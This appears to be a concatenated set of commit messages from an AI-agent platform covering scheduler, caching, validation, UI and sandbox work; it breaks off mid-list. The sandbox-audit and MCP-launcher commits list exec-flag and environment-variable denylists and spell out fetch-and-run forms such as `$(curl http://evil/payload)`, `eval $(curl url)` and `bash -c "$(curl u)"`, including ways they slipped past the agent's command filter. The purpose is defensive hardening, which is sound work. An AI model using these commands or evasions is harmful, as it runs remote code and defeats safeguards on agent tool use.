Resolves six modify/delete conflicts by keeping the deletions: main
touched the pre-hexagonal scheduler while this branch removes it. Both
of those commits are carried onto the new path rather than dropped:
- #4607 (once-schedule UTC normalization) was reproduced against the
hexagonal domain and fixed there in its own commit -- `next_after`
had the same offset bug the old `schedules.py` did.
- #4589 (unified thread-id validation) is applied to the new router:
the two request models and the thread-scoped list route now take
`ThreadId` instead of `str`. Response models keep plain `str`, since
route-addressable legacy ids stay readable by design.
`test_thread_id_route_contract.py` swept routers by last path segment,
which cannot import one that lives in its own package, so it collected
nothing for the schedule slice; it now records the full dotted path and
overrides `get_schedule_service` for the same reason it already
overrides `get_config` -- dependency solving precedes path-param
validation, so an unconfigured service 503s before the 422 under test.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* feat(checkpoint-cache): delta-mode checkpoint history cache with recursive compose
Read-only, invalidation-free cache for LangGraph delta-channel history
({writes, seed}) at the get_delta_channel_history choke point:
- database.checkpoint_cache config (memory|redis; max_entries 0=disabled;
redis bounded by TTL, Gateway/async only)
- memory LRU backend (copy-on-read, zero-serde hit path) and redis backend
(lazy import, degrades to all-miss on outage)
- CachedHistorySaver: recursive composition from the nearest warm ancestor
(depth budget 8), caching each level; depth-0 cold chains delegate one
inner fast-path walk. Entries keyed by immutable
(db, thread, ns, checkpoint_id, channel) — no invalidation, coherent
across workers
- provider wiring: wraps in delta mode only (async + sync), full mode
untouched; sync path is memory-only
- bench opt-in: DEERFLOW_CHECKPOINT_BENCH_HISTORY_CACHE=1
sqlite bench (500 updates, payload 2KB): write phase 2.28x at f=250,
1.32x at f=10; one delegated walk per thread cold start.
* chore(config): bump config_version to 32 for database.checkpoint_cache
The checkpoint history cache feature added the database.checkpoint_cache
section to config.example.yaml; bump the schema version so existing
deployments get the outdated-config warning and can run make config-upgrade.
* chore(helm): bump config_version to 32 in chart values and README
* fix(checkpoint-cache): purge thread history entries on delete paths
Addresses review on #4638: delete_thread/prune removed source-of-truth
checkpoints but left the thread's materialized history payloads in the
cache (memory: until LRU eviction; redis: until TTL, default 1 day) — a
data-lifecycle gap for tenant offboarding / GDPR-style erasure.
- Cache contract gains thread-scoped adelete_thread/delete_thread
(lifecycle purge, not invalidation; entries remain immutable)
- Memory backend: stem scan over the LRU map; redis: SCAN MATCH + UNLINK,
outage degrades to TTL-bounded retention without raising
- CachedHistorySaver purges on delete_thread/adelete_thread and
prune/aprune (prune rewrites chains, so pre-prune histories must go);
delete_for_runs stays delegation-only (run->thread mapping unavailable,
no in-tree callers), documented in code
- ttl_seconds description documents the residual-retention window
- Tests: thread-scoped purge on both backends, saver-level delete/prune
purge, prefix-safety (t1 vs t10), redis outage degradation, and the
pinned no-purge behavior of delete_for_runs
* fix(checkpoint-cache): stable db identity, prefix-aware sync singleton, explicit zero TTL
Addresses Copilot review on #4638:
- checkpoint_cache_db_hash now hashes the credential-free postgres
identity (host:port/database + schema): credential rotation no longer
changes the cache namespace (cold cache + orphaned keys until TTL).
Unparseable URLs fall back to the raw string.
- The sync-path memory cache singleton is also keyed by its key_prefix:
a namespace change (db identity change or operator override) recreates
the cache instead of leaving stale-prefix entries unreachable and
unpurgeable.
- ttl_seconds=0 is now an explicit, documented opt-out of redis expiry
(SET without EX; redis maxmemory policy only) instead of a silent
'ttl_seconds or None' coercion.
Tests: credential-rotation hash stability, unparseable-URL fallback,
prefix-change singleton recreation, same-prefix singleton reuse, and
zero-TTL wire behavior (ex=None).
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(mcp): constrain stdio launcher args and env at the config API
The API-managed stdio allowlist validated only `command`. Since `npx`/`uvx`
exist to fetch and run code, allowlisting the command name alone named a
binary without constraining what that binary ran, so the restriction did not
match the intent stated in `_validate_mcp_update_request`'s own docstring:
reducing the blast radius of a compromised authenticated browser session.
Screen two more fields on the stdio path, shared by `PUT /api/mcp/config` and
the enable branch of `PATCH`:
- `_ARBITRARY_EXEC_ARGS` rejects the flags that make a launcher evaluate a
string (`-c`, `--call`, `-e`, `--eval`, `--print`, `--shell`, `--node-arg`,
`--node-options`), matching `--flag=value` as well as `--flag value`, for
every allowlisted command rather than just `npx`/`uvx`. `-p` is deliberately
absent: it means `--package` for npx and `--python` for uv.
- `_CODE_INJECTING_ENV_VARS` rejects env names that inject code at process
startup (`NODE_OPTIONS`, `LD_PRELOAD`, `PYTHONSTARTUP`, ...), which would
otherwise sidestep the argument check.
Remote transports skip both -- they spawn nothing. Rejection messages echo
only the normalized flag, never the caller's value.
This is defense in depth, not a trust boundary: `npx`/`uvx` fetch and execute
remote packages by design, so an admin can still point one at a package they
published. Gateway admin remains equivalent to code execution on the host, and
the code, backend/AGENTS.md, and README all say so explicitly to keep the
check from being mistaken for a boundary.
`npx`/`uvx` stay in the default allowlist: nearly every official MCP server is
`npx -y @modelcontextprotocol/server-*`, so dropping them would break the
primary UI flow for adding one.
Tests cover each rejected flag spelling, case-insensitivity, `python -c` under
an extended allowlist, env injection, and the PATCH enable path, plus nine
positive cases pinning that real-world `npx`/`uvx`/`python -m` invocations
still validate.
* fix(mcp): screen PYTHONPATH and interpreter short-flag clusters
Review follow-up on the stdio launcher screen.
`PYTHONPATH` bypassed the env denylist on the *default* allowlist: `site`
imports `sitecustomize.py` from any `sys.path` entry before the tool's
entry point runs, so a caller-controlled directory is code execution
under plain `uvx` (verified against the real launcher). `PYTHONHOME` is
the same class via a repointed stdlib. Both are now rejected.
`PYTHONSTARTUP` is inert for non-interactive launchers and stays only as
belt-and-braces, now documented as such.
`-p` was exempted for every command, but it is node's `--print` --- the
long spelling was blocked while the short one passed once an operator
extended the allowlist. Whole-token matching also missed combined short
options (`node -pe`, `perl -we`, `python -Ic`). Both rules now apply to
commands outside `{npx, uvx}`, which are interpreters rather than package
runners; scoping them that way leaves the default allowlist unchanged,
since npx/uvx do not cluster short options and their trailing arguments
belong to a third-party server's own CLI where `-name` is ordinary.
`LD_LIBRARY_PATH`/`DYLD_LIBRARY_PATH` are recorded as an accepted
residual: conditional on the process loading a shadowable library, and
legitimately set by native-dependency servers.
Still defense in depth, not a trust boundary.
* docs(mcp): record NODE_PATH as an accepted search-path residual
Reviewer asked whether NODE_PATH belongs in _CODE_INJECTING_ENV_VARS for
parity with NODE_OPTIONS/PYTHONPATH. It does not, and the mechanism in the
report does not hold: verified on node v22, NODE_PATH is searched *after* the
local node_modules chain (the resolver unshifts the requiring module's paths
ahead of it), so it cannot shadow an installed dependency, and ESM import
ignores it entirely. It can only supply a CJS module that would otherwise
fail to resolve.
That puts it with LD_LIBRARY_PATH as a conditional search path, not with the
unconditional startup execution every entry in the set provides. Widen the
residual note from native-library shadowing to the general class, name
NODE_PATH in it, and pin the boundary with a test so it reads as a decision.
* fix(mcp): scope the stdio arg screen to the launcher's option region
`_arbitrary_exec_arg` inspected every element of `args`, justified by the claim
that the launchers in scope treat the token after `--` as a package name. That
is inaccurate: only the *first* token after `--` is the package name, and with
or without the separator every token from the package name onward is handed to
the third-party server's own argv, where `-c` is routinely "config" and `-e`
"env". So `npx -y @scope/server -c config.json` was rejected even though npm
never parses that `-c`, and the positive cases stayed green only because they
were picked to dodge the denylist. Over-blocking, not a bypass -- a regression
against the PR's own "the primary UI flow must keep working" goal.
Screen the launcher's own option region instead. Finding that region needs each
launcher's option *arity*, because a value is not a positional:
`npx -p <pkg> -c '<command>'` runs the command -- `-p` is `npm exec`'s
`--package` (it overrides the global `--parseable` shorthand), so `<pkg>` is
its value and npm keeps parsing its own flags. Ending the region at the first
non-flag token, the obvious rule, walks straight past that and turns an
over-block into a real eval bypass. The tables are therefore generated, not
guessed: `_NPX_BOOLEAN_ARGS` from `@npmcli/config` (npm 10.9.4) with the `-p`
override applied, `_UVX_VALUE_ARGS` from `uvx --help` (uv 0.11.1).
The unknown-option default is deliberately opposite per launcher, following the
exec set rather than symmetry. npx owns real exec flags, so an unknown option
consumes a value and keeps the region open; npm errors on options it does not
define, so that direction cannot reject an invocation that would otherwise
work. uvx owns no string-eval flag at all, so its screen is a tripwire rather
than a control, and an unknown option consumes nothing -- which keeps uv's
large and growing boolean surface from over-blocking. uvx also drops the short
spellings from its exec set, since `-c` is uv's `--constraints <file>`: an
ordinary documented option the old screen rejected outright.
Short options are matched case-sensitively now, because their case selects a
different option -- npm reads `-C` as `--prefix`, and folding it onto `-c`
rejected it. Long spellings stay case-insensitive: npm accepts `--CALL` and
runs it. Commands outside the package-launcher table are interpreters rather
than package runners and keep the unchanged whole-args screen, including the
`-p` rule and cluster decomposition.
Verified against the real launchers rather than by reading their docs. For
every argument vector in the new tests the validator's verdict matches whether
`npx` actually executes the string or passes it through to the server, and the
bypass-guard cases were confirmed to fail under the naive first-non-flag-token
boundary before being pinned.
Reported by @willem-bd on #4617. Two further false positives found while
confirming it are covered here: `uvx -c constraints.txt <tool>` above, and
`docker run -i --rm -e KEY <image>` -- the canonical GitHub MCP server
invocation -- which an operator who extends the allowlist with `docker` still
hits, since the conservative non-package-launcher path is unchanged.
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(sandbox): judge command substitution by position in audit middleware
SandboxAuditMiddleware refused any `$(...)` containing a risky executable,
so ordinary output capture such as
`code=$(curl -s -o /dev/null -w '%{http_code}' https://example.com)` was
blocked before the bash tool ever ran. The rule matched the `$(cmd` token
regardless of syntactic position, and because the opening paren was optional
and unbounded it also caught plain variable expansions (`$shell`, `$bashrc`,
`$python_version`) and lookalike binaries (`shellcheck`, `shasum`).
Command position is what makes a substitution dangerous: `$(curl url)` as the
command executes what was downloaded, while `x=$(curl url)` or
`echo $(curl url)` only captures its output. Replace the unanchored rule with
`_HIGH_RISK_COMMAND_POSITION_PATTERNS`, matched anchored against each split
sub-command, and add `split_pipes=True` to `_split_compound_command` so the
word after a pipe is recognised as a new command position. `_split_compound_command`
keeps its previous behaviour by default, since a pipeline is one logical command
and the pipe-spanning rules (`| sh`, `base64 -d | ...`) are matched by the
whole-command scan in `_classify_command`.
Add an explicit `eval`/`source` rule so narrowing the substitution rule does not
release forms the broad pattern had covered incidentally (`eval $(curl url)`,
`source <(curl url)`). It reuses the same executable list, so common shapes like
`eval "$(ssh-agent)"` stay allowed.
Two-step forms (`x=$(curl u); eval "$x"`), process substitution outside
eval/source, and newline-separated statements remain undetected; closing them
needs real shell parsing, which is out of scope for an audit layer whose actual
isolation boundary is the sandbox.
Fixes#4611
* fix(sandbox): keep assignment/wrapper prefixes in command position
Anchoring the command-substitution rule at the start of a sub-command missed
that a command position is not always the first character. POSIX shell allows
leading variable assignments, and exec wrappers keep what follows in command
position, so `FOO=1 $(curl url)`, `env FOO=1 $(curl url)`, `nohup $(curl url)`
and `time $(curl url)` all execute the fetched output while reading as value
position to an anchored pattern. The previous unanchored rule caught these
incidentally, so leaving them out was a regression rather than a documented gap.
`_COMMAND_POSITION_PREFIX` extends the anchor over those prefixes. Its
assignment branch requires whitespace between the assignment and the
substitution, which is what still separates `FOO=1 $(curl url)` (command) from
`x=$(curl url)` (value); an argument-position substitution behind the same
prefix, such as `env FOO=1 ./run.sh --tag $(curl url)`, keeps passing. The
repetition is bounded so the alternation cannot backtrack on long input.
Also correct the documented gap list: two-step forms
(`x=$(curl u); eval "$x"`) are inherent to allowing output capture rather than
an oversight, since any rule that permits the capture permits the first
statement and linking it to the later eval needs dataflow analysis.
* fix(sandbox): treat interpreter code-string flags as execution context
Narrowing the substitution rule to command position released the forms where
the substitution is an *argument* to something that executes it. Verified
against both classifiers, block on main -> pass on this branch:
bash|sh|dash|ksh|zsh -c "$(curl u)" python|perl|ruby|node|php -c/-e/-p/-r
bash <<< "$(curl u)" xargs sh -c "$(curl u)"
Same class as the eval/source case the PR kept, spelled with a flag. Add two
whole-command rules covering the code-string flags and the here-string. They
are position-blind on purpose: 'bash -c' executes what it receives wherever it
appears, including as an argument to another command.
Also fixes the eval/source rule itself. It required '\(' after [`$<], so the
backtick spelling regressed with the rest: 'eval `curl u`' and
'source `curl u`' blocked on main and passed here, despite the PR claiming
eval/source coverage was preserved. All three spellings ($( , <( , backtick)
now share one _RISKY_SUBSTITUTION opener so a rule cannot cover one and miss
another.
Reported by @rjvkn on #4623; the backtick half was found while confirming it.
'bash <(curl u)' stays passing -- it was already passing on main and remains a
documented gap, not a regression.
* fix(sandbox): split on newlines, and keep heredoc bodies out of it
An unquoted newline separates statements exactly like ';', but the splitter
never split on it and normalization collapsed it to a space before the
'^'-anchored rules ran, so identical shell semantics got opposite verdicts:
echo hi; $(curl u) -> block
echo hi<newline>$(curl u) -> pass
Block on main, pass here -- so the PR description's 'newline-separated
statements ... were not detected before this change' was wrong. It holds for
'. <(curl u)' process substitution, which passed on main too; it does not hold
for this. Third instance of one root cause: replacing an unanchored .search
with anchored per-sub-command matching releases every context the splitter does
not model (argument position, backtick spelling, statement separator).
Splitting on newlines alone would then manufacture command positions the shell
never creates -- a heredoc body line beginning with $(curl url) is file
content, not a command. So headers are recorded as they are read and their
bodies consumed verbatim at the newline that opens them. '<<<' is a here-string
and opens nothing; both a lookahead and a lookbehind are needed, or the
trailing '<<' of '<<< "text"' reads as a heredoc with delimiter 'text'.
The header regex is tried only at '<', which keeps this off every other
character: without the guard a 10KB command went 313ms -> 505ms. A realistic
20KB heredoc file write classifies in ~13ms.
Reported by @willem-bd on #4623.
* fix(sandbox): do not read an arithmetic shift as a heredoc header
The heredoc heuristic fired on any unquoted '<<', so a bit shift whose right
operand is an identifier opened a phantom heredoc:
offset=$(( idx << shift ))
$(curl http://evil/payload)
Delimiter 'shift' never appears, so the unterminated body consumed the rest of
the string, the second line was never split into its own sub-command, and the
anchored rule never saw it -- reopening the newline evasion the previous commit
closed, and a regression against main.
Track arithmetic depth alongside the quote flags and skip header detection
while it is positive. Covers the bare arithmetic command '(( ... ))' too, not
just '$(( ... ))': it evades identically and a $-only guard would miss it. A
digit right operand ('$((1<<8))') never had the problem, since a delimiter
cannot start with one; both spellings are pinned so they cannot drift.
An unclosed '((' leaves the depth positive, which only disables heredoc
detection -- newlines keep splitting, so the failure direction stays towards
seeing more command positions rather than fewer.
Reported by @willem-bd on #4623.
* fix(gateway): unify thread ID validation at the API boundary
Thread ID entry points accepted arbitrary strings while downstream
consumers (filesystem paths, Kubernetes Provisioner, JSONL event store)
each enforced different character restrictions, so invalid IDs were
persisted first and only failed later during sandbox/workspace init.
Centralize validation in deerflow.utils.thread_id (pattern
^[A-Za-z0-9_-]{1,64}$): validate at routers, RunCreateRequest,
scheduler dispatch, paths.py, JSONL store, embedded client, and align
the Provisioner pattern (pinned by a parity test). UUIDs are still
generated only when no ID is supplied; caller-supplied opaque IDs stay
supported.
Deliberate exceptions: DELETE /threads/{id} keeps str as the legacy
cleanup escape hatch (filesystem cleanup guarded), read-only
client.get_thread stays unvalidated, and scheduler rows with legacy
invalid IDs record a failed dispatch instead of raising out of the
poll loop.
* docs: document canonical thread ID contract
README: caller-supplied thread IDs need not be UUIDs; the canonical
pattern and per-endpoint behavior. AGENTS.md: the shared
deerflow.utils.thread_id contract, its enforcement boundaries, and the
legacy-ID escape hatches.
* fix(gateway): close thread ID validation gaps at remaining entry points
Follow-up to the canonical thread ID contract: a full audit found the
uniform-422 coverage only reached about half of the thread_id surfaces.
- routers: 18 routes still took a bare thread_id: str — 13 in
thread_runs.py (including the five messages/events/workspace-changes
reads that returned 500 on the JSONL event store vs 404/empty on the
DB store), 4 read routes in threads.py, and the suggestions route
flagged in review. DELETE /api/threads/{id} keeps str as the declared
legacy-cleanup escape hatch.
- client: upload_files/delete_upload/list_uploads/get_artifact now
validate up front, fulfilling the RFC's 'all mutating entry points'
clause (get_thread stays unvalidated as the declared legacy read path).
- tui: the /resume literal-ref fallback validates against the canonical
contract and reports a descriptive error instead of failing deep in
the client.
- scripts/support_bundle.py: replace the drifted dot-allowing pattern
with a byte-identical copy of THREAD_ID_PATTERN (kept local so the
script still runs with a broken venv).
* test(gateway): guard the canonical thread ID contract against regressions
- test_thread_id_route_contract.py: static AST sweep asserting every
route handler with a thread_id parameter annotates ThreadId
(whitelist: the DELETE escape hatch), plus a runtime sweep hitting
all 44 thread_id routes with a non-canonical ID and asserting a 422
that names thread_id, plus a websocket upgrade-rejection case.
- test_thread_id_validation.py: client entry-point validation,
support_bundle pattern parity, and TUI literal-ref fallback tests.
- Align two tests that encoded the old contract (dotted IDs).
The walkthrough still described the `UNSET` sentinel and a two-error
launcher, and said nothing about the optimistic token. Brings both
documents up to what the code now does:
- partial updates use plain `None`, with the condition that makes that
safe stated explicitly so a future nullable field does not quietly
break it
- the launcher's third escape and why the failed/indeterminate line is
the #4452 guard rather than a taxonomy preference
- what `version` is for, why `save` is a conditional UPDATE rather than
read-check-write, and that it is the slice's one schema change
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
The outer ring for the domain added in #4597: SQL repositories, the run
launcher, the thread lookup, and the run-completion listener implementing
the ports it declared, plus the HTTP router and the poller that drive
them. All of it is instantiated in one composition root, so no route or
lifespan hook builds an adapter of its own.
With the ports filled, the pre-hexagonal implementation is deleted rather
than left alongside: `app/scheduler/service.py` and its router mixed
policy, persistence, and HTTP into one class, which is why its rules were
only reachable through a live database. Keeping both would leave two
implementations of the same rules writing to the same table.
Three of the domain's contracts needed real work on this side rather than
a straight port of the pre-#4597 adapters:
- The launcher now distinguishes certain failure from doubt. Only a 4xx
is certain enough to raise LaunchFailedError, which releases the task's
single active slot; a 5xx, an arbitrary exception, or a reply whose
identity will not decode all raise LaunchIndeterminateError and keep
the slot held. Guessing "failed" after the launch request was sent is
what re-opens #4452's duplicate execution.
- The task repository implements the optimistic token. `save` is a
conditional UPDATE on `version` rather than read-check-write, because
the latter lets two savers observe the same version and both commit;
every other committed write increments it. This needs a column, so it
ships with migration 0011 -- the only schema change in the slice, and
the reason the alembic head pins move.
- The router builds commands with plain `None` for "not supplied", and
maps ConcurrentUpdateError onto a retryable 409.
The concurrency invariants are pinned by contract suites that run each
port against both the in-memory double and real sqlite -- including a new
TestOptimisticConcurrency covering what invalidates an earlier read --
plus the dispatch-race tests against a real database.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* feat(artifacts): inline editing for text artifacts in the panel
Add a PUT /api/threads/{id}/artifacts/{path} endpoint that atomically
replaces an existing UTF-8 text file under /mnt/user-data/outputs after
verifying its SHA-256 revision. Active runs conflict (409); binary,
symlink, oversized, and non-output paths are rejected.
Frontend: edit/save/discard buttons, draft state with conflict detection,
CodeEditor onChange/onSave, loader SHA-256 from ETag, i18n, beforeunload guard.
Backend: PUT endpoint with thread reservation, atomic temp-file replacement,
sandbox sync for non-mounted providers, rollback on failure, ETag on GET.
Tests: 8 backend + 1 blocking-IO + 3 frontend test files.
* fix(artifacts): scope replacement permissions and release sandboxes
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* feat: show real-time context window usage in chat UI (#3125)
Adds a `context_usage` block to `GET /api/threads/{id}/token-usage`
(token count from the live checkpoint, the thread model's
`context_window`, and a percentage), introduces a new
`ModelConfig.context_window` distinct from the per-call `max_tokens`
output cap, and surfaces the percentage in the chat header — inside
`TokenUsageIndicator` when token-usage tracking is on, or as a
standalone badge when it's off so context capacity stays visible
independent of cost tracking.
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
* feat: per-category breakdown for context window usage
Replace the single-number context_usage payload with a Claude-Code-style
breakdown — messages, system prompt, skills, system/MCP tools (active +
deferred), custom agents, memory injection, autocompact buffer, and free
space — and surface it in the chat UI with a segmented progress bar and
per-row table.
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
* docs(config): document context_window across model examples
Add `context_window` to every example model in config.example.yaml so the
new chat-UI "% context used" indicator works out of the box for whichever
example a user adopts. Each value is the published default at the time of
writing; users are pointed at the official model spec to verify. Bumps
config_version to 11 so `make config-upgrade` flags outdated user configs.
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
* style: ruff format (line-length 240)
No behavior change — collapses two multi-line expressions that fit on
one line under the project's 240-char limit. Picked up by `make format`.
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
* review: address Copilot bot comments on #3183
- token-usage-indicator: switch `{contextPercentage && (...)}` to an
explicit `!= null` check. (The string `"0"` is actually truthy in JS so
the original code wasn't buggy, but the explicit check is clearer.)
- context-usage-breakdown: drop the `useMemo` around segments/totals — the
computation is O(n) over a handful of rows and the previous memo deps
omitted `t.contextUsage.categories`, so the bar's tooltips/aria-labels
could stay in the old language after a locale switch.
- context_usage._split_tools: snapshot MCP names from
`get_cached_mcp_tools()` directly instead of re-reading
`extensions_config.json` after `get_available_tools()` already loaded
it. Removes redundant file I/O on every `/token-usage` poll.
(`get_available_tools()` still emits its own INFO logs — silencing
those is out of scope here.)
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
* style(frontend): prettier --write context-usage-breakdown
CI's `pnpm format` (prettier --check) caught two lines previously
formatted by hand. Collapses one comma to fit on one line; no behavior
change.
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
* fix(gateway): correct context-usage breakdown + add exact token counting
The context-usage indicator shipped two bugs that silently zeroed whole
breakdown rows (both caught by try/except, so the feature looked alive but
produced wrong numbers):
1. _count_system_prompt passed app_config= to get_deferred_tools_prompt_section,
which only accepts deferred_names -> TypeError swallowed -> system_prompt
row always 0, and used_tokens/percentage undercounted by the full prompt.
Also subtracted the deferred section twice (the rendered prompt already
excluded it). Fix: derive deferred names deterministically and pass them to
apply_prompt_template; drop the redundant subtraction.
2. _split_tools imported a non-existent get_deferred_registry -> ImportError
swallowed -> all four tool-category rows always 0. Fix: classify via the
public is_mcp_tool predicate + tool_search.enabled (mirrors
build_deferred_tool_setup); the MCP tag is set by get_available_tools.
Added token_usage.counting (approximate|exact). 'exact' routes text/schema/
message counting through the model tokenizer (tiktoken cl100k_base) via the
existing memory-module machinery (lazy load + cache + cooldown + CJK-aware
fallback), so CJK-heavy threads stop being undercounted by chars//4.
Regression + e2e tests added; 6621 backend tests pass.
* fix(gateway): harden context usage accounting
* fix(gateway): count promoted MCP tools as active in context usage
Promoted tools (deferred MCP tools the thread has fetched via tool_search)
have their full schema bound on every subsequent turn by
DeferredToolFilterMiddleware, so they consume context like any active tool.
The breakdown previously left them in the reserved *_deferred rows, under-
counting the thread's used_tokens.
Classification now treats a tool as deferred only when tool_search is enabled,
it is MCP-sourced, AND it has not been promoted. The promoted set is read from
the checkpoint's channel_values and scoped by catalog hash — matching the
runtime middleware, so a stale promotion from MCP-config drift cannot inflate
the active count.
The static system prompt still lists all deferred tool names (promotions only
affect schema binding, not the prompt), so _count_system_prompt's deferred
rendering is intentionally left unchanged.
8 new tests cover classification, catalog-hash scoping (match / drift /
compute-failure / malformed), and checkpoint extraction.
* fix(context): address review feedback
* fix(context): count structured message payloads
* fix(context): harden usage accounting
* fix(config): bump schema for context usage fields
* refactor: narrow context usage to core indicator
---------
Co-authored-by: Claude Opus 4.7 <noreply@anthropic.com>
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(sandbox): project enabled skills into sandbox views
* fix(skills): keep projection mutations consistent
* fix(skills): fail closed on projection errors
* fix(skills): isolate per-scope failures during boot projection rebuild
rebuild_all_skill_projections() propagated any exception from the public
rebuild or from a single user's rebuild straight out of the gateway
lifespan startup, uncaught. A single broken user directory (bad
permissions, corrupted _skill_states.json, unreadable content) would
therefore abort gateway boot for every user, not just that one -
_rebuild_*_locked already fails closed internally (clears the view and
re-raises), so the boot loop only needed to stop treating that re-raise
as fatal.
Each scope's rebuild now fails closed independently and boot continues;
a scope left empty by a boot failure self-heals on the next sandbox
acquire via ensure_skill_projections().
Also patches deerflow.skills.projection.rebuild_all_skill_projections in
the memory-flush lifespan test fixture, matching the two sibling
fixtures in the same file — this call is now on the lifespan startup
path and the fixture's minimal SimpleNamespace config predates it.
* test(skills): update authz test for the projection-aware public toggle
_persist_shared_skill_state (introduced earlier in this branch) reads
the shared extensions_config.json fresh from disk under the projection
lock instead of through the cached get_extensions_config() singleton -
that's the whole point of the fix (stale worker caches must not clobber
another worker's concurrent update). The name no longer exists on the
skills router module, so the test's monkeypatch of it started raising
AttributeError instead of exercising the endpoint.
The mock storage in this test isn't a real LocalSkillStorage instance,
so _persist_shared_skill_state's projection-mutation branch is already
skipped (nullcontext) and it falls back to a fresh ExtensionsConfig()
for the nonexistent tmp config_path - no replacement monkeypatch needed.
* fix(sandbox): make skill projection ensure best-effort in acquire
acquire() called _ensure_skills_projection() directly, outside any
try/except, in both LocalSandboxProvider and AioSandboxProvider. Every
other skill-mount setup path in these providers has always caught
exceptions and logged a warning rather than failing sandbox acquire
outright (e.g. when config.yaml can't be resolved) - these two new call
sites broke that contract, so any projection failure (including simply
not having a config.yaml, as in CI's test environment) now failed
acquire() itself instead of just leaving skill mounts off.
_ensure_skills_projection now catches its own exceptions and returns
None; both providers' callers already tolerate that (a None projection
skips the skill-specific mounts, matching the existing degrade path)
after making _append_public_skill_mapping and the custom/legacy mount
block in LocalSandboxProvider explicitly None-safe.
Caught by running the full suite with config.yaml removed, matching
CI's environment - not caught locally because a real config.yaml was
present, masking the failure.
* fix(sandbox): make E2B skill projection mounts best-effort
_skill_projection_mounts called ensure_skill_projections with no guard,
unlike Local/AIO's _ensure_skills_projection. A raise propagated out of
_apply_mounts before the configured-mounts loop ran, so a skills
projection failure dropped the operator's own configured mounts too -
only caught by create()'s outer warning, with nothing applied at all.
Swallow here and return an empty mount list on failure, matching the
Local/AIO pattern: still fail-closed for skills, but no longer widens
the blast radius to unrelated configured mounts.
Review feedback from PR #4178.
* docs(skills): document projection trade-offs flagged in review
- _update_tree_digest: note the metadata-only (not content) hashing
trade-off and why runtime writes through this codebase are still
covered regardless (rebuild-under-lock + rename always changes inode).
- LocalSandboxProvider.acquire: note the acquire-time self-heal cost
(cheap on a fresh manifest, ~400ms rebuild under lock on stale/drift).
- skill_projection_mutation: drop the no-op except-Exception-then-raise;
a raise from the mutation already propagates past the yield with the
view left cleared, no explicit re-raise needed.
- provisioner README: spell out that hostPath skills volumes require
the gateway and K8s node to share DEER_FLOW_HOST_BASE_DIR (single-node
or shared storage), and that the custom/legacy volumes' hostPath type
Directory (not DirectoryOrCreate) makes a violation of that assumption
a visible Pod-creation failure instead of a silent empty mount.
Review feedback from PR #4178.
* fix(skills): lazily repair user projections
* fix(skills): close projection review gaps
* fix(skills): refresh user projection enable state
* fix(skills): close projection review follow-ups
* fix(skills): preserve state across projection writes
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* feat(runtime): seed empty run-event feed from checkpoint history
Threads created before the journaled run-event model hold their history
only in the LangGraph checkpoint. Before the first journaled run, backfill
an empty run-event message feed from the existing checkpoint head so
legacy history receives earlier thread-global seq numbers and remains
visible in the unified feed. Threads with no checkpoint or an already
populated feed skip the path.
The seed guard resolves the user explicitly instead of relying on the
store's AUTO default, which raises without a user contextvar (scheduler
launch path on the DB event store).
* docs: document checkpoint history seeding in thread runs
Before the first journaled run, an empty run-event message feed is
seeded from an existing checkpoint head so legacy checkpoint-only
history stays visible with earlier thread-global sequence numbers.
* fix(gateway): make checkpoint-history seed guard thread-scoped
The emptiness guard filtered by the current user whenever one was in
context, answering "does this user have any messages?" rather than
"has this thread's feed ever been journaled?". Seed rows stamped with
a different principal (NULL for ownerless seeds, or another user on a
shared NULL-owner thread) were invisible to the guard, so each new
principal re-seeded a duplicate history. Pass user_id=None
unconditionally; None also opts out of AUTO resolution, so the
ownerless scheduler path still cannot raise.
Adds a DbRunEventStore-backed regression test (the MemoryRunEventStore
tests cannot catch this — the memory store ignores user_id) proving the
ownerless-seed -> authenticated-run sequence seeds exactly once.
The console cost estimator summed per-run spend across every priced model
without checking that they shared a currency, so a deployment that priced
one model in CNY and another in USD produced a meaningless aggregate under
a single currency label. Track the first priced currency and, on a
mismatch, log a warning and drop all pricing so cost/currency fields report
null instead of an invalid sum. Currency codes are now trimmed and
case-normalized so equivalent spellings don't false-trip the guard.
A browser client served from a different origin than the Gateway never
learns the id of the run it just created, so a brand-new thread keeps its
placeholder route for the whole session and every action gated on an
established thread — edit and rerun, regenerate, branch — stays hidden
until the page is reloaded.
Run-creating routes return the run's id in `Content-Location`, and the
LangGraph SDK resolves run metadata from that header alone. It is not
CORS-safelisted, so a cross-origin response hides it from JS unless the
server lists it in `Access-Control-Expose-Headers`. `useStream`'s
`onCreated` therefore never fires and the app cannot rewrite its route.
Expose it. `GATEWAY_CORS_ORIGINS` is a supported deployment mode, so the
CORS middleware has to carry everything that mode needs to read. Same-origin
nginx deployments are unaffected because CORS never applies to them.
* feat(checkpoint): make delta snapshot_frequency configurable
* fix(config): carry legacy checkpoint_delta_snapshot_frequency with warning
Addresses review on #4516: the rename from the flat
database.checkpoint_delta_snapshot_frequency key to nested
database.checkpoint_delta.snapshot_frequency silently dropped the old
value (pydantic extra="ignore"). Add a before-validator that maps the
legacy key onto the nested one with a deprecation warning (nested key
wins when both are set), plus a CHANGELOG breaking-change note covering
the rename and the 1000 -> 10 default change.
* fix(checkpoint): validate frozen snapshot frequency
* feat(lark): sidecar credential broker for sandbox lark-cli (Pattern B)
Removes the plaintext Lark credential mounts (appSecret + OAuth tokens)
from the sandbox container. A long-running broker sidecar owns lark-cli
and the per-user config/data dirs and serves the command surface over
Pod loopback; the sandbox gets only a forwarding shim on PATH, so the
raw credential files never exist in the sandbox filesystem.
- lark_broker.py: stdlib-only loopback broker (argv passthrough with
shell=False, server-injected credential env, bounded I/O) + shim
script constant + install-shim mode.
- docker/lark-cli-broker: init(install-shim) + serve image.
- provisioner: LARK_CLI_BROKER_IMAGE + provision_lark_cli_broker →
shim init container + lark-cli-broker sidecar (config/data mounted
sidecar-only); credentials dropped from the sandbox container;
